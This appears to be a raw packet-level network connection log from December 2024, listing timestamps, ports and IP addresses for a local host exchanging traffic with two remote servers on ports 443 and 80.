Dec 23, 2024 08:44:36.004939079 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:36.005167961 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:36.005345106 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:36.005481005 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:36.005498886 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:36.053128004 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:36.053189993 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:36.053309917 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:36.053734064 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:36.053746939 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:37.265986919 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:37.266392946 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:37.267996073 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:37.268013000 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:37.268327951 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:37.269814968 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:37.269841909 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:37.269908905 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:38.037127972 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:38.037225962 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:38.037280083 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:38.037520885 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:38.037537098 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:38.037558079 CET	49751	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:38.037563086 CET	443	49751	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:38.039896965 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:38.159395933 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:38.159499884 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:38.166062117 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:38.285521984 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501705885 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501720905 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501735926 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501763105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501770020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501785040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.501816988 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.501880884 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.502016068 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.502029896 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.502043009 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.502049923 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.502079010 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.502105951 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.621576071 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.621612072 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.621872902 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.693811893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.694751024 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.694865942 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.698096037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.698110104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.698199987 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.706469059 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.706485033 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.706577063 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.714734077 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.715362072 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.715425968 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.723182917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.723191023 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.723243952 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.731508017 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.731515884 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.731587887 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.739839077 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.739913940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.740289927 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.748255014 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.748302937 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.748402119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.756659031 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.756705999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.756800890 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.765252113 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.765274048 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.765332937 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.773369074 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.773444891 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.773551941 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.814460993 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.864985943 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.886142015 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.886166096 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.886234045 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.888576031 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.888724089 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.888786077 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.893599987 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.893726110 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.893837929 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.898627996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.898782015 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.898848057 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.903680086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.903728008 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.903774977 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.908497095 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.908586979 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.908658028 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.913341999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.913511992 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.913574934 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.918184042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.918226957 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.918288946 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.923049927 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.923135996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.923187971 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.927840948 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.927953005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.928015947 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.932723045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.932805061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.932858944 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.937482119 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.937603951 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.937740088 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.942333937 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.942382097 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.942440987 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.947179079 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.947264910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.947396040 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.951999903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.952135086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.952327013 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.956866980 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.957007885 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.957072020 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.961684942 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.961859941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.961920977 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.966495037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.966628075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.966681957 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.971391916 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.971462011 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:39.971544981 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:39.976164103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.021250963 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.078680992 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.079098940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.079432964 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.080571890 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.080776930 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.080852032 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.084583044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.084590912 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.084669113 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.088393927 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.088516951 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.088598013 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.092339039 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.092348099 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.092415094 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.096137047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.096219063 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.096291065 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.099720001 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.099931002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.100125074 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.103416920 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.103435993 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.103493929 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.106796026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.106930971 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.107031107 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.110349894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.110712051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.110785961 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.113904953 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.114721060 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.114778042 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.117618084 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.117630005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.117707968 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.121165037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.121179104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.121248960 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.124816895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.124828100 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.124896049 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.128221989 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.128230095 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.128288984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.131805897 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.131813049 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.131886005 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.135364056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.135371923 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.135425091 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.138876915 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.138884068 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.138930082 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.142455101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.142462969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.142518044 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.146003962 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.146011114 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.146078110 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.149563074 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.149575949 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.149646044 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.153146029 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.153160095 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.153218985 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.156618118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.156625032 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.156685114 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.160216093 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.160228014 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.160285950 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.163811922 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.163819075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.163876057 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.167361021 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.167367935 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.167422056 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.170896053 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.170905113 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.170944929 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.174418926 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.174426079 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.174479961 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.178709030 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.224328995 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.271018028 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.271115065 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.271487951 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.272342920 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.272473097 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.272533894 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.275197983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.275377035 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.275449991 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.287713051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.287981033 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288000107 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288036108 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288053989 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288055897 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.288072109 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288085938 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.288089991 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288109064 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.288117886 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.288150072 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.289472103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.289562941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.289608955 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.292376995 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.292552948 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.292704105 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.295205116 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.295241117 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.295289993 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.297744989 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.297802925 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.297853947 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.300326109 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.300348043 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.300400019 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.302741051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.305133104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.305143118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.305203915 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.306700945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.307784081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.307791948 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.307823896 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.307852983 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.310199976 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.310214043 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.310271025 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.312728882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.312737942 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.312824965 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.314976931 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.317538023 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.317547083 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.317594051 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.318718910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.318811893 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.319950104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.321753025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.322554111 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.322653055 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.322662115 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.322705030 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.325630903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.325638056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.325690031 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.327702999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.327709913 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.327763081 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.331429005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.331556082 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.331613064 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.332433939 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.332439899 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.332492113 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.335203886 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.335210085 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.335261106 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.337409973 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.337416887 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.337485075 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.340023041 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.340029001 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.340085030 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.342479944 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.342494011 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.342554092 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.344741106 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.346723080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.346829891 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.347390890 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.347397089 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.347445965 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.349926949 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.349934101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.349983931 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.352237940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.352246046 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.352303982 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.354784012 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.354792118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.354859114 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.357275963 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.357283115 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.357348919 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.359644890 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.359652996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.359709978 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.362207890 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.362215042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.362277031 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:40.364675045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:40.364685059 CET	80	49755	185.215.113.16	192.168.2.7
